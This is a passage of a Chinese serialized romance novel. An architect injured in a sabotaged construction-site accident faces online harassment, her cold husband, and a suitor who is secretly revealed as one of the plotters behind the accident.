狗东西不配长嘴,她都这么难受了,他说话还这么尖酸刻薄。
不过值得庆幸的是孩子没有受到伤害,在撞到脚手架那一刻,她用尽全力控制自己往下坠的速度。
说不过,也不想搭理他,拿着手机给宋瑾修打电话。
电话响了一阵接通,宋瑾修温润和煦的声音传了过来,“莹莹,你好好休息,我没事。”
“师哥,你在哪儿,我去看看你,手流那么多血怎么可能没事。”
江莹担忧的神色让陆砚深很不舒服,中午两人就在一起,下午在现场,那个惺惺相惜,当他不存在一样。
“我有个采访,去的路上凌澈给我打电话,就拐了个弯,这会儿已经到现场,马上要开始了。”
江莹心里更愧疚,“你的手真的没事吗?”
“真没事,路上经过一家药店已经处理过,等采访结束,我去医院看你,顺便找医生看看。”
宋瑾修温和的嗓音,让江莹心里更过意不去,心里的愧疚也更深。
于是柔声嘱咐,“那你注意,尽快来看医生。”
陆砚深对他们师哥师妹的腻歪很不爽,不等宋瑾修说完直接抢了电话挂断。
“江莹,当着我的面跟别的男人这么黏糊,别忘了我还是你丈夫。”
江莹气得起身要被陆砚深直接按在床上,“医生刚才说了脑震荡,不能动。”
江莹咬牙瞪着他,“他是我师哥,为了救我才受伤的,关心一下不应该吗?”
陆砚深瞥了她一眼,声音冷淡,“人已经关心过,有时间想他,不如好好想想问题出在哪儿?”
听到这里,江莹气呼呼的小脸瞬间耷拉了下来,“这件事肯定不是我的问题,当初定的是开一个门不是拆墙。”
“能肯定吗?”
“当然肯定,我跟包工头张工现场沟通过。”
陆砚深沉默了,看来这件事情不简单。
他直接拨通杜宇的电话,声音沉冷,“重点审问包工头和那个煽风点火的人,把事情查清楚。”
挂断电话,陆砚深拧眉看着江莹,“这两天好好在家休息,哪儿都不准去。”
“那怎么行,我只是轻微脑震荡,休息一会儿就没事了。”
江莹在现场十分注意,可以肯定没有伤到孩子。
下周五要去临市参加逍遥楼重建的第一次研讨会,要在下周一交设计稿,图纸跟老师还要再过一遍,不能这个时候又在家躺着。
“你去古坊斋能有什么正经事,不许去。”
江莹气笑了,“我有没有正经事,都是我自己的事,你管不着。”
两人僵持间,陆砚深电话响起。
他拧眉停顿一瞬,接通电话。
“什么事?”
秦欣着急的声音传来,“砚深,你们南郊一个工地是不是出事了?”
“你怎么知道的?”
陆砚设好奇,他已经让工作人员封锁消息,就怕媒体乱写。
“谢林在那个工地,他……”秦欣交集中有些难以开口。
“谢林是谁?”
第90章 多年如一日的守护
“他是谢川的堂弟,今年大学毕业,在工地实习。”秦欣声音里带着哀求与无奈。
陆砚深神色僵住,脑子里浮现出工地上那个小伙子恶狠狠的神情,但那双眼睛跟谢川真有几分相似。
“他一直对谢川的死耿耿于怀,所以对你……”
“砚深,我听秦阿姨说他跟谢川关系很好,把谢川当亲哥。他这次做的事确实太过分,但毕竟年纪小,你能不能看在谢川的面子上别跟他计较。”她说着说着有些哽咽,“谢川走后,谢林经常看望秦阿姨。秦阿姨虽然没有说,但我明白她很喜欢谢林,甚至想通过谢林找到谢川的影子。”
在秦欣说到谢川时,陆砚深起身往窗前走,江莹只听到秦欣说“谢林在那个工地”这句。
看陆砚深神色,不难猜出,工地上有跟秦欣相熟的人,而且跟事故有关。
“等查清楚了再说。”
陆砚深挂了电话站在窗前深深叹了口气,江莹刚刚的猜测应该是对的,现场的图纸改了,刚好今天包工头不在现场。
“陆总,若是有人私自篡改图纸,造成人员伤亡,这是犯法吧?”
江莹直直趟在病床上,眼睛盯着天花板,看都没有看陆砚深。
三年的夫妻,她很了解陆砚深,他此刻的神情已经说明他心里在盘算着什么。而且所盘算的事,是他不得不破例或者不太愿意又不得不做的事。
“那两名重伤患者已经确认没有生命危险,陆氏会负责所有人的医药费,并给出最高额的赔偿。图纸造假还有公司的章,这个人一定会揪出来。”
他说完,病房里是长久的沉默。
傍晚,宋瑾修处理完伤口来看江莹。
江莹盯着他的手,很是担心,“师哥,你的手怎么样?”
“已经处理好,也打了破伤风,没事。”
跟着宋瑾修进来的薛婷婷小声道:“江姐,宋先生手掌被钉子刺穿了,当时给我都吓傻了。”
江莹不知道该说什么,最终嚅嗫道:“师哥,连累你了。”
“跟师哥还这么客气。”宋瑾修抬手揉了揉她的头,温声道:“莹莹,跟我不用说谢,为你做什么我都是心甘情愿的。”
这是三年来,宋瑾修第一次这么赤裸裸地表达自己的心声,一时间江莹不知道该怎么回应。
薛婷婷站在一旁,垂眸紧抿着唇,心里酸涩不已。
看江莹不给回应,宋瑾修主动化解尴尬,他抿唇转移话题,“刚碰到你这个小助理,她说工地上好像已经有些眉目,是有人跟陆氏的人勾结,篡改了图纸。”
陆砚深并没有跟她说细节,但江莹也知道了个大概,或许是因为知道瞒不住,所以陆砚深接杜宇的电话并没有回避。
“江姐,就是一直煽风点火那个小伙子,他是监理招进来的,这个人胆子也太大了,竟然私自改我们的设计图纸。”
薛婷婷说完,宋瑾修皱眉,“这种行为构成犯罪了。”
“这件事,已经不是我们所能干涉的,陆氏想要怎么处理是他们的事。”
江莹嘴上这么说,心里很不甘,自己和师哥无故受牵连,陆砚深为了秦欣却有了包庇之心。
“江姐,今天现场多危险,你和宋先生因为那个人的行为受伤,一定得让公司给个说法,不能让那个人逍遥法外。”
江莹:……
狗男人有心包庇,除了钱,怕是别的也拿不到。
陆砚深对秦欣不但有爱意,还有愧疚,他心爱的女人,给他生了孩子,还不哭不闹默默养孩子,是个男人都会感动。
宋瑾修温和地笑道:“没事,事情怎么处理,我们不参合。莹莹,吃一堑长一智,以后再遇到这样的事,别再冲上去。”
江莹点头,有些惭愧,“我知道了。”
……
梁玥这几天被沈斯阳折腾的够呛,每天忙得跟陀螺一样,几乎脚不沾地。
下午刚把车送到4S店,狗东西又给打电话,说他喝酒了开不了车。
当时气得她直接爆粗口,骂他是不是故意耍她。
沈斯阳说他司机和助理今天都有事,当司机给她付工资,按加班。
梁玥很没出息地去挣钱,路上给江莹打电话,一直没有接。
后来凌澈终于接了电话,说江莹磕到了头被陆砚深带走。
她这才知道江莹出事,但已经接到沈斯阳。
狗东西不知道真喝多了还是假喝多,半个身子都压在她肩上,后悔的余地都没有,唯一庆幸的是江莹伤的不重。
送到家,还兼职小厨娘给他做醒酒汤。
“我去,这家伙说的不是江莹吧?”
他喝完醒酒汤,靠在沙发上休息,看到采访将手机伸到梁玥面前,“梁秘书,这家伙说他受伤是因为他最在乎的人遇到危险。”
梁玥现在听到他叫“梁秘书”头就大,但看到宋瑾修的采访视频时,她瞬间被吸引。
主持人:宋先生,刚听说你来的路上发生点意外,所以手受伤了。
宋瑾修:算是吧,我最在乎的人遇到了危险,去找她在现场受了点伤。
主持人震惊后,饶有兴致地追问:是之前网上说的那个师妹吗?
宋瑾修抿唇点头:是的。
主持人:师妹有受伤吗?
宋瑾修满眼心疼:现场太凌乱,她也摔了一脚。
主持人:宋总真是深情,这么多年如一日地守护着自己心爱的女人,太感动了。
“这人他要不要脸,全网都知道他和江莹的事,他又说江莹是他最在乎的人,这不是公开打陆砚深的脸吗?”
梁玥瞪了他一眼,“莹莹都要跟陆砚深离婚了,有什么不能说的?再说了,师哥对江莹好也不是现在才开始的,从我们上学那会儿莹莹就是他心里最重要的人。”
她担心江莹着急走,沈斯阳一直找理由奴役她,给江莹打电话,又始终没人接。
沈斯阳正想着怎么反驳,一个朋友推给他一条消息#陆氏集团南郊游乐园项目发生事故造成多人重伤#
他看到这个标题,心里一咯噔,“我去。”
梁玥正想找借口溜号,听沈斯阳这么激动,抬眸看了过去。
“这种消息陆砚深怎么会让流了出来,陆氏的公关怎么做的?”
“南郊的游乐园是莹莹负责设计的,这是要毁了她。”梁玥声音焦急。
沈斯阳看着手机里的评论皱紧了眉头,“网上都是怎么骂她的,说她没有常识,要求砸承重墙造成工人重伤,还有人说要让全行业封杀她。”
“莹莹不可能犯这种低级错误。”
梁玥说完拿着包就走,边走边给江莹发消息。
江莹这会儿看着病床前两个剑拔弩张的男人,正犯愁。
第91章 踹他屁股上
陆砚深眸色沉冷的盯着宋瑾修,“宋总,今天多谢你帮助我老婆。时间太晚,莹莹身体刚恢复,改天我们请你吃饭以表谢意。”
宋瑾修脸色严肃,“陆总,今天的事在网上快速发酵,跟上次如出一辙,是有人故意针对莹莹,想毁了她,你看不出来吗?”
“所有问题,我都会解决,不劳宋总操心。”
陆砚深眸色凉凉的看着宋瑾修,这事他已经让人在处理,本来不想让江莹知道,没想到他直接捅了出来。
江莹看着两个男人剑拔弩张,本来心烦,但听到宋瑾修说是有人故意针对她,瞬间不淡定。
“陆总,网上很多人骂江姐是刽子手,放任下去,以后江姐怎么在行业立足?”
薛婷婷的话,让江莹快速拿起手机,看到梁玥发过来的消息,快速点了进去。
原来是真的,网上已经有不少人在骂她。
“这女人的真是仗着老公有钱,不把人当人。”
“这年头儿了,竟然还有人拿人性命当垫脚石的。”
“尼玛,当个人吧,也不怕自己哪天被砸死。”
“看到没同胞们,这女的花瓶一个,你长这样在家伺候好男人就行了,就别出来霍霍人,害人性命了。”
这些都算是委婉的,另外一些骂得更难听,要么咒她不得好死,要么就是带颜色,不堪入目。
江莹的血压一下子就飙了起来,这分明就是有人带节奏,要不然她一个素人怎么会传播这么快,以至于被全网都在骂她?
更让她生气的是张冉冉那个蠢货这个时候也落井下石,说自己认识江莹,就是每天只会围着男人转的二哈。
秦欣发了一条婊里婊气的评论:你们大家都误会了,江莹是学古建筑设计的,并不是什么都不知道。
这一下便向证明了她没有学过装修设计,半道出家,网友骂得那么难听,跟这两人脱不了关系。
陆砚深那个狗男人,做生意那么厉害,找女人跟眼瞎了一样。
不由得曾经问梁玥的话:“你说,秦欣长得凑合,但婊里婊气,到底有什么魔力让陆砚深这么多年念念不忘?”
梁玥当时在追剧,随口道:“谁家狗不惦记大粪?”
声落,江莹看着手里的芒果冰激凌,瞬间吐了出来。
网上的事,显然是有人故意针对她,但会针对她的人不多,更何况出事之后秦欣就来求情。
“陆砚深,这件事我要一个说法。”
原本她还自责,若是自己不去,或许就不会连累师哥受伤。
但现在看来,就是别人给她挖的坑,算准了她会去,或者即便她不想去,也会有办法逼得她不得不去。
江莹在医院观察到晚上九点,眩晕感没有之后才离开医院。
刚走出住院部大厅,就有几个衣着朴素的人朝她为了过来。
“就是她,明明没什么本事,靠关系上位,害得我男人这辈子都站不起来。”
一个大姐边说边哭,瞪着江莹恨不得把她生吞活剥了。
大姐说完,一个老太太哭了起来,“害我儿子后半辈子残疾,你就应该去坐牢。”
“你还我儿子的腿。”
“我儿子还不到四十岁,就没有双腿,你让他后半辈子怎么活?”
大娘说着就上前撕扯江莹。
陆砚深将人护在身后,跟一起过来的两个男人拉扯,“你就是她男人吧,就是因为你有钱,她这样的女人才有恃无恐。”
周围有人纷纷鸣不平,“现在有钱,就是有底气,网上都说这女的没能力。”
“可不是,没能力非要出来祸害人。”
江莹听着别人非议,心里难受到了极点,为了陆砚深她放弃了自己喜欢的专业,去陆氏从一个普通的设计员一步一步做起,从没有享受过陆太太的特权,现在还要因为她是陆砚深的妻子而备受争议。
狗男人护着她有什么用,还不是为了他的小情人将她推到了风口浪尖?
强烈恨意让江莹咬牙,她往后退了一步,在陆砚深毫无防备的情况下一脚踹在他屁股上。
狗男人身体猛地往前一步,直接趴在跟他拉扯的人身上。
“你们害了我哥还敢打我们?”
前面两个人把陆砚深的冲击当成挑衅,直接跟他干了起来。
其中一个体型偏瘦的男人,一拳打在陆砚深胸口。
杜宇跟伤员协商好赔偿问题,从里面出来,刚好看到这一幕,直接加入了战斗。
两人一对一并不是难事,江莹看陆砚深被人揪着衣服,心里舒服了不少,他也有这么狼狈的时候。
狗男人要保护那个人,那他就受着吧。
“再动手,你家人的医药费和赔偿我一分都不会出,不服就去告,我有的是时间和你们耗。”陆砚深揪着跟他动手的人,声音狠厉。
这时保镖和保安都跑了过来,伤者家属也不敢再闹。
那老太太一屁股蹲在地上哭了起来,“我儿子该怎么办,我们家的顶梁柱,天塌了呀!”
杜宇示意陆砚深先走,他留下来处理。
陆砚深拧眉拉着一旁的江莹往外走,保镖护在两侧。
两人上车,陆砚深的视线沉冷地落在江莹身上。
江莹挑眉看他一眼,“陆总这么看着我干什么,我脸上写着我是卧底?”
私自篡改图纸,这个人目前还没有找到,至于为什么没有找到,江莹不难猜。
怕是跟那个谢林有关,他是不是受秦欣指使,还真不好说。
“你就那么恨我?”
江莹挑眉装傻,“不明白你说什么?”
“刚才不是你踹我,我会被打?”
江莹看着嘴角挂了彩的男人,想笑却努力克制,嘴角颤了颤,咬唇让自己控制好情绪。
“我什么时候踹你了,我有脑震荡,站不稳确实碰了你一下。”江莹死不承认,还有被冤枉的愤怒。
“碰一下和踹我屁股我会分不清,你给我示范一下,怎么碰的?”
“欲加之罪何患无辞,随你怎么说。反正我也不是第一次被冤枉,现在还被人挂在网上骂呢。”
宋瑾修站在街旁,看着江莹被陆砚深带走,默默抽着烟,脸上温润的神色褪去,缓缓吐出的烟圈将他那双阴鸷的眸子掩藏在烟雾中。
薛婷婷站在不远处,看着他的背影不敢上前。
良久,宋瑾修捻灭手中的烟头,嗓音淡淡:“你回去吧,不会查到你头上。”
薛婷婷看着他的手,“你的手有伤不方便,我能不能……”
“不用,赶紧回去吧。”
薛婷婷心里酸涩不已,这么多年她已久没有走进他心里。
看着薛婷婷离开的背影,宋瑾修拿出手机打电话。
第92章 江莹,你玩儿的真花
电话接通之后,他声音冷得像是染了霜,“唱了这么一出,收获呢?”
对方激动,“你怪我?保安和外围的人我都清干净了,谁知道她那么招男人,不光那个大学生来了,连陆砚深也赶来。忽然是个狐狸精,这么多男人护着。”
“再说了,让我安排你英雄救美,不受点苦,怎么体现你可以为她豁出性命?”
宋瑾修咬牙:“……”
事情计划好好的,陆砚深会加班,那个人会拖住他,结果……
那个人也是真没用。
宋瑾修气不打一处来,“你别再插手,后面的事听我安排。”
“听你的?优柔寡断,我说车祸最直接,你倒好,怕伤到她,现在孩子没有流掉,你又急。”
秦欣不耐烦的声音让宋瑾修声音狠戾,“我没有跟你开玩笑,你别在碰她。”
“宋瑾修,你最好也明白,我们是合作,少特么命令我。你英雄救美博得美人心,我要的是她赶紧走。”
电话挂断,宋瑾修咬牙,一拳捅在车门上。
回到梧桐里,江莹上楼的脚步顿住,在医院人多她不方便说,但现在可以问问了。
“陆总,前脚出事,后脚秦欣就打电话求情……”
“别瞎想,跟她没关系。”
陆砚深眸色沉沉,让人不觉有些冷。
江莹弯唇一笑,果然是心肝,怀疑都不行,她抬步直接上楼回了卧室。
陆砚深电话响起,他接了电话出去,江莹听着院里渐行渐远的汽车引擎声,心里并不平静。
陆砚深从始至终都没有说跟秦欣有关,这份袒护,再明显不过。
庆幸的是,事情在网上并没有持续太久,就再也找不到相关词条。
但这件事,背后一定有人推波助澜,江莹怀疑秦欣,但没有证据,不能因为她打电话求情,刚好那个煽风点火的人跟她有关系,就认定是她。
她都已经跟陆砚深登记离婚,秦欣一个月都等不了吗?
她不至于这么急迫吧,三年都等了,等不了二十天?
江莹隐隐觉事情没有这么简单。
梁玥赶来时,江莹正在接江墨的电话。
他听说了工地的事,非要过来,**莹制止了,主要是怕他知道陆砚深住在这里。
“我很好,你放心。你在师哥身边多帮他一下,他的手伤得不轻。”
“姐,跟陆砚深离婚后,你接受宋哥吧,他一直在等你,办公室抽屉里还放的都是你的照片。而且,宋哥这些年一直在关注**的股价,他知道我们俩被姑父架空了,一心想帮我们拿回**。”
听到这话,江莹沉默了,想要拿回**,她跟江墨说过,但没想到宋瑾修已经在为她筹谋。
这么多年的有求必应,不图回报,江莹不感动是假,良久她开口,“先不说这个,等我跟陆砚深顺利离婚再说。”
梁玥坐在床边的沙发上看着她挂了电话,开口,“真没事?”
“真没事,有事医生会让我回来吗?”
“师哥的手挺严重,直接被扎穿了。”梁玥说着挑眉看着她,“活生生的伟大爱情,爱而不得,却心甘情愿为她付出一切。”
“你大晚上过来就是发表感言的?”
梁玥笑笑,“我是羡慕,怎么就没有这么一个男人对我这么深情不渝。”
“别贫了,你最近忙得不见人,我刚好有件事想请你帮忙,过几天孟澜回来,我想请她帮我做一场直播,帮我卖卖货,你给策划一下。”
“没问题,交给我,场地和人脉姐们儿还真有。”
梁玥说完,一本正经道:“宝儿,真心建议你考虑一下师哥,这年头这么深情又温柔的男人不多了。”
江莹垂眸,这是都来助攻了。
“现在说这个不合适,我不想把感动当成感情,这样对师哥不公平。再说了,我还没有离婚,没有资格想这些。”
梁玥知道感情的事勉强不来,笑道:“今晚我留下来陪你,万一你晚上不舒服我照顾你。”
她这话一出口,江莹眼皮跳了跳,这该怎么办?
“我留下来有问题?”梁玥皱眉,“你怎么这个表情让我觉得,你藏人了。”
江莹皱眉,老实交代,“陆砚深也住在这儿。”
梁玥瞬间瞪大了眼,“江莹,你玩儿的花呀,都要离婚了,还跟他睡。”
她怎么也没有想到两
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人还在一起住。
“我没来这几天你俩是不是一直住在一起?”
江莹哭笑不得,“不是你想的那样,是他爷爷刚做手术,我们俩的事还没有跟他家里人说,又怕佣人多嘴,所以就……”
“哦,你放心,我们俩事各睡各的,他睡另一个房间。”
她说这话有些心虚,毕竟只要在一起的这些天,都是睡在一张床上。
“今晚让他滚,我给你睡。”
“他付了住宿费,一晚十万,我们签了协议。”江莹想了想,好像没有提违约金,又道:“算了今晚我也不想在家里看到他,让他滚,这个钱不挣了。”
“别呀,狗东西的钱不挣白不挣,难不成都留给那个大绿茶?”梁玥挑眉,“先挣钱,这么高的住宿费,哪儿找去。”
江莹就知道,这丫头脑子里钱更重要。
梁玥看她没事,也放心不少。
她离开后,江莹看到侦探小娄发来消息:照顾你外公那个佣人,三年前他拿到一大笔钱,人已经出国,他儿子在国外。
看到这条消息,江莹几乎可以肯定舅舅当初的怀疑没错,外公的死绝对有问题。
江莹:钱的来源能查到吗?
小娄:目前我追不到,那人出国后,注销了国内所有账号。
江莹:辛苦了。
小娄:应该的,拿人钱财**,消息不算太有用,我会尽力查。
江莹明白,他是怕自己担心他跑路。
江莹:注意安全,选择你,我就信任你。
放下手机,江莹觉得后背发凉,若是真的,那张启明是从什么时候有这个心思的?
车祸的事会不会也是他做的?
当时的事故鉴定就是司机疲劳驾驶,那人站在还在牢里。
想到这里,江莹给小娄留了言:同步查一下三年前我舅舅的车祸。
第二天上午,江莹在家休息,陆砚深什么时候回的,什么时候走的都不知道。
原本想等逍遥楼项目落地之后再约刘律师,现在她不想等了,该早做准备才是。
而此时的陆砚深在办公室看完杜宇交上来的调查报告,抬手砸在了地上。
“嘴还挺硬!”
第93章 借刀**
现场监理唐栋把所有责任都扛了,说自己就是看江莹不爽,想给她制造点麻烦,公章是他仿刻的。
当时砸墙时,他是做了安排的,只是没有想到会有人动了支撑墙体的承重板,他只是想让江莹收到教训,没想过闹这么大事。
他这话是真是假,无从考究,反正问什么都是他一个人的注意,没有人指使。
“这个唐栋是三夫人的表弟,他显然是有备而来,说话滴水不漏。”
杜宇边捡地上的资料边说,他话没有明说,起身时还不忘看了陆砚深一眼。
陆砚深神色微顿但没有接话,而是转问道:“他为什么看太太不爽?”
杜宇整理好手里的资料道:“他说是因为太太到现场发现工地用的油漆环保不达标,就跟市场部反馈将那批油漆全退了,而唐栋从那批油漆里拿了不少回扣,厂家跟他闹,还差点把他告了。”
陆砚深眸色骤然冷了几分,他不相信一个监理会有这儿大的胆子,竟敢为了报复江莹私自篡改图纸。
但这次事故也算给他带来了破冰的机会,工程上可以拿油水的地方太多,难怪三叔这几年一直亏一直做,原来是大河干了小河淹了。
“既然他想扛,那就让他扛,借这个机会缩紧陆副总手里的项目,把所有合作商都换掉。”
陆砚深这话在杜宇意料之内,他点头后纠结着开口,“陆总,那个谢林真不追究?”
陆砚深冷冽的眸子缓缓变得复杂,沉默片刻后声笃定,“不予追究,让他离开江北。”
杜宇有些想不通,但也无权反驳。
陆砚深沉默一瞬后,又开口:“这件事没有这么简单,这摆明了是有人想把矛头往陆副总那里引。”
杜宇愣了,他一直没敢说的话,这会儿脱口而出,“难得不是陆副总吗?”
“他是贪,但不傻。”陆砚深睨了他一眼,“若是他,那也太明显了。先是来拦我的路,然后真正的幕后凶手还跟他有亲戚。”
杜宇点头,“确实太明显了,但这事儿,除了陆副总我……”
“正因为大家都会这么想,所以才能顺理成章地收紧项目,换掉合作商。”
杜宇明白了,原来老板是要借刀**。
后知后觉的人准备走,被陆砚深叫住,“联系一下苏绣大师,给太太订两套旗袍,今年公司年会我带太太参加。”
杜宇听到老板这话愣了一瞬,心想这是要给太太补偿?前两年都不带,现在太太正闹离婚,她能同意吗?
看杜宇不吭声,陆砚深皱眉,“还有事?”
“哦,我在想旗袍比较挑首饰,要不要让造型师推荐几款首饰?”
说完,杜宇暗暗抿唇,自己都有些佩服自己这敏锐的反应。
陆砚深点头,“订好旗袍选首饰。”
杜宇应声后离开,心想自己以后结婚了千万不能像老板这么嘴硬,得罪了老婆,只能烧钱弥补。
都说会撒娇的女人最好命,其实会撒娇的男人也同样好命。
在家休息了一天,江莹去古坊斋。
她刚过了一遍平台上的选品,钟宏垂头丧气进来。
江莹疑惑,“老师,哪位英雄豪杰惹你了?”
钟宏看了眼自己的爱徒,叹了口气:“文物局的朋友跟我说递交的图纸里除了你三年前的那份设计图,还有一份跟我们的设计很像。”
江莹笑容僵住。
钟宏摇头,“也不知道是谁,难道对方也琢磨透了史**载的互锁式卯榫结构?”
看老师垂头丧气,江莹眨眨眼,笑道:“建筑工艺虽然已经失传,但史书上有记载,我能做出来,别人怎么就不能?您别想太多,这不是还没有比稿。”
钟宏点头笑笑,“是我想多了。”
江莹一脸坦然,“真要是输了,也不遗憾,逍遥楼能重出于世,当然值得更好的设计。能参与其中,我已经觉得很幸运了。”
钟宏看着自己最得意的学生,勉强笑道:“等比稿之后再说,没有看到他们的设计稿之前先不想这些了。”
江莹安慰道:“就是,说不定我们的就是最出色的,哪有设计师怕比稿的。”
她嘴上这么说,心里却隐隐不安,担心昨天工地上的事会对自己造成影响。
晚上,江莹约了宋瑾修和刘律师。
刘律师毕竟是宋瑾修公司的法律顾问,有
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他在更好,而且若不是宋瑾修那个安全帽就会砸在她身上。
她到时,宋瑾修已经坐在包间。
“师哥,你的手怎么样?”
看到他包扎严实的手,江莹心里就有愧疚感。
“除了有点不方便,其他什么事都没有,你别放心上。”
宋瑾修温和的笑,让江莹不知道该说什么,最后郑重地说:“师哥,谢谢你!”
“跟我还这么客气。”宋瑾修嘴角勾着一抹笑,眸色沉沉看着她,眼底的柔色由内往外溢,“莹莹,我说过,我会……”
“不好意思,宋总。”刘律师推门进来,客客气气赔不是,“堵车,我来晚了,江小姐也在。”
宋瑾修看了他一眼,眸中柔色渐收。
“刘律师,坐。”
宋瑾修说话间看了一眼江莹,他脸上的那抹不好意思,欲言又止,江莹看得明白。
“刘律师好,一直想见你,最近事情比较多,总算有机会了。”
刘律师笑道:“江小姐客气,有什么事你尽管说,我跟宋总认识好几年了,他对我很照顾。”
说话间,服务员过来点菜,包间门打开。
周野明天要回部队,还有点手续要办,今天约了陆砚深和沈斯阳吃饭。
陆砚深来迟,刚经过这里准备往里面包间,就看到言笑晏晏的女人坐在宋瑾修身边。
“不好意思,这个杏仁豆腐不行,莹莹对杏仁过敏。”
江莹嘴角弯弯,“师哥没事的,我不碰就行。”
“那也不行,万一呢?”
江莹没有反驳,毕竟有了宝宝,确认应该更小心。
看着两人的互动,陆砚深脸上黑了几个度,拿着手机给周野发消息。
刚好一点,就到处乱跑,还在别的男人面前笑得这么不值钱。
想到,她有好久没对自己这么笑过,某人心里更不爽。
服务员点好菜出来,陆砚深堂而皇之进去,在江莹身边坐下。
“不是说了我接你一起吃饭,怎么跟别人一起了?”
江莹怔住,他什么时候说过?
突然明白狗东西的用意,她气不打一处来,“陆总,私人饭局不欢迎你。”
第94章 修罗场
刘律师见过陆砚深,但也仅仅是从财经新闻和电视上,根本就没有机会接触到这样的人。
现在大活人坐在他面前,有些激动,“陆总,没想到会遇到您。”
“你是?”
他是坐下才发现江莹和宋瑾修的对面还坐着一个人。
“哦,我是顶点律所的刘恒,幸会幸会。”
刘律师站起来探着身子跟他握手,陆砚深疑惑地看了眼江莹,微微颔首客气地伸手。
“没想到您跟江小姐关系这么好。”
陆砚深,挑眉:“我太太,能不熟吗?”
宋瑾修垂眸,从陆砚深进来他就没有说话,听到他坦然说江莹是他太太是,抿唇笑了下。
“哦,原来是陆太太。”
刘律师震惊之余更是想不通,陆砚深的老婆怎么会找上他?还跟宋瑾修关系那么好,他差点以为,宋瑾修跟她是一对儿呢。
“陆砚深,你可以走……”
陆砚深像是没有听到一样,握着她的手道:“昨天说了请宋总吃饭,择日不如撞日,今天就挺合适。”
他说着自顾自地让服务员加餐具。
宋瑾修被他点名,缓缓抬头,嘴角噙着一抹笑,有点冷,“陆总,你这样没有边界感,让人很不舒服。”
刘律师阅人无数,刚还奇怪宋总怎么一句话都不说,没想到开口就是引雷。
陆砚深不以为意笑了下,“宋总明目张胆惦记别人老婆也让人很不舒服,毕竟我跟江莹现在还睡在一张床上。”
“陆砚深……”
江莹这会儿脸有些烫,昨晚的事明明是他威胁自己,现在倒成了他攻击师哥的武器。
“你赶紧走,我还有事要跟刘律师谈。”
“对对对,陆太太确实早就跟我打了招呼。”
刘律师看两人不对付,赶忙打圆场。
宋瑾修却笑道:“不用,怎么说陆爷爷对我也算有恩,我跟陆总也算有渊源。”
陆砚深撩起眼皮看他,之前他是真心想着要谢谢宋瑾修,但现在坐在一起,他看到宋瑾修看江莹的目光莫名就心烦。
他冷笑道:“渊源深厚。”
说话间,开始陆续上菜。
江莹夹在两个男人中间,看着明明不喜欢彼此的两个人面上风平浪静,言语却不遑多让,头疼。
——这场面,让她想到一个词“修罗场”。
她当然不会把陆砚深的敌意归于喜欢或者是爱,那单纯就是男人的占有欲。
陆砚深也曾亲口说过,他的东西,即便自己不要别人也休想碰。
说来也奇怪,宋瑾修温润的气场在遇到陆砚深冷冽的气场后,不但没有消减,反而变得强硬了起来。
江莹看着眼前刚上来的香煎小排突然没什么食欲,感觉自己像是夹缝中生存的小可怜。
明明不对付的两个人,这会儿就这么各带气场地静**着,让她莫名觉得紧张得有些气闷。
良久沉默,陆砚深拿起水杯,淡声开口,“宋总,我胃不好,莹莹不让我喝酒,今天以茶代酒谢你昨晚奋不顾身帮莹莹。”
江莹:“……”
狗东西,他喝酒还少吗,这会儿恶心谁呢?
宋瑾修:“陆总客气,我五年前就护着莹莹,跟你谢不谢没有关系,而且刘律师不喝酒,我们就没打算点酒。”
刘律师点头,“对对对,今天就是想听听陆太太的诉求。”
陆砚深:“什么诉求?”
“跟你没关系。”江莹瞪了他一眼,朝刘律师客气道:“刘律师,不好意思,回头我们电话里说吧。”
“不用说,事情我已经交代给公司的法务李律师,他已经在帮你取证。”
“你知道我要干什么?”
江莹疑惑了,他怎么知道的?
“回家再说。”
狗男人故意把“家”字咬的有些重。
宋瑾修剥着虾,看了刘律师一眼,示意他先不吭声,开口转问道:“陆总,昨天那个小伙子煽风点火,害我和莹莹受伤,能不能让我教训他一下?”
江莹冷笑,怕是不可能了,小心肝早就打电话求情了。
陆砚深扫了一眼江莹,眸色沉了沉,“我会替宋总好好教训他。”
“那看来是宋总,不打算交人。”宋瑾修说着把剥好的虾送到江莹碗里,“最近气色不好,多吃点。”
陆砚深看了眼宋瑾修,直接伸手把那个虾夹走。
“我先尝尝,宋总这么会剥虾,应该不介意再剥一只。”陆砚深淡声说。
江莹:“……”
狗东西是真不要脸。
刘律师在想,我是不是先走好一些。
宋瑾修扯唇,温声道:“不介意,莹莹愿意吃,我就愿意剥。”
江莹心想怎么就非要今天见刘律师,为什么不看看黄历?
被陆砚深这么一搅和,更觉得对不起师哥。
临走说:“师哥、刘律师,不好意思,下次我们再约。”
宋瑾修笑笑,“没关
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系,吃饭只要有你在,其他什么都无所谓。我明天先去临市,你和舅舅到了我去接你们”
江莹不知道该怎么接话,一向温润的师哥开始打直球有点尴尬。
陆砚深黑着脸把江莹拉走。
“江莹,注意你的言行,还没有离婚就跟暧昧对象牵扯不清,有没有已婚女人的自觉。”
江莹这会儿一点都不想跟他说话,撇开脸看着车窗外,当他是空气。
赌气到半路,还是忍不住开口问:“你知道我要跟刘律师谈什么吗?”
“不就是想让你爸妈离婚?”
江莹不知道自己什么时候说的,但之前陆砚深确实找她问了一句,还以为他就是随口问的。
“你真让李律师取证了?”
“李律师的能力你可以放心。”狗男人双目微阖,声音平静,“大姐不在江北,这两天你有空了去看看爷爷。”
“她去哪儿了?”
江莹语气软了不少,狗男人竟然因为她的话,让李律师取证,心里染上一丝异样。
陆君几乎很少离开江北,外出旅游她也不会选在这个时候,爷爷刚做完手术,而且马上要过年。
“说是她一个同学,家里出点事,关系挺好去看看。”
江莹没再深问,反正跟自己没有关系。
“你不打算给我个交代?”
陆砚深就知道她会追问,微微阖着的眼睁开,还深深吐了口气。
“现场的监理要报复你,你反馈油漆不满足环保标准,让他赔了不少钱。他是三婶的表弟,这里面是不是有三叔受益不好说。”
唐栋是孙兰芳表弟这事她之前确实不知道,但若真跟三叔有关,这个节骨眼儿上让老爷子知道怕是不好。
“那个谢林有人罩着,这个唐栋也有人兜着,感情就是我好欺负,只能忍气吞声了呗。”
“我把**给你要回来,你不用再看你爸的脸色。”
江莹苦笑,刚刚还以为他安排李律师取证心口有一丝暖意,却不想只不过是他因为秦欣放过谢林的弥补。
早已看透的事,到现在她竟然还会有所期待,想想自己真够贱的。
……
此时的临市,陆君正坐在许振清别墅门口的车里。
她看着手里的消息,整个人陷入无边的空寂寒夜。
【在外面吃了饭,刚到家。】
消息是许振清二十分钟前发的,明明说了到家,但二十分钟过去,别墅里还是漆黑一片。
第95章 捉奸捉双
机场那个背影再次浮现在她脑海,以至于她明明坐在温暖的车内,整个人却如坠冰窟。
